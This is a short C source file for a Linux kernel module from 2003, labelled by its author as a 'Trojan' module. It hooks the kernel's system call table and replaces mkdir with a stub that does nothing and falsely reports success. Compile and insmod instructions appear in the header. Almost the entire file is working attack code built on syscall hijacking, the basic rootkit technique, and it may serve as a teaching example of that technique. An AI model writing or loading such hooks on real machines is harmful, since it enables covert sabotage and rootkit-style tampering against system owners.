/*
 * Trojan Kernel Module to deactivate the mkdir command 
 *
 * License: GPL
 * Copyright: 2003
 * by Alexander Griesser <kernel-programming@tuxx-home.at>
 *
 * Compile with: gcc -o disable_mkdir.o -c disable_mkdir.c
 * Insmod with:  insmod ./disable_mkdir.o
 */

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <linux/string.h>
#include <linux/slab.h>

MODULE_AUTHOR("Alexander Griesser <kernel-programming@tuxx-home.at>");
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("Trojan Module to deactivate mkdir command");

/* Refer to the sys_call_table */
extern void* sys_call_table[];

/* The original and the new ("hacked") SYS_mkdir syscall */
int (*orig_mkdir)(const char *path);
int hacked_mkdir(const char *path)
{
  /* Do nothing and just return "success" */
  return 0;
}

/* Redirect the syscall */
int init_module(void)
{
  orig_mkdir = sys_call_table[SYS_mkdir];
  sys_call_table[SYS_mkdir] = hacked_mkdir;
  return 0;
}

/* Revert the redirection */
void cleanup_module(void)
{
  sys_call_table[SYS_mkdir] = orig_mkdir;
}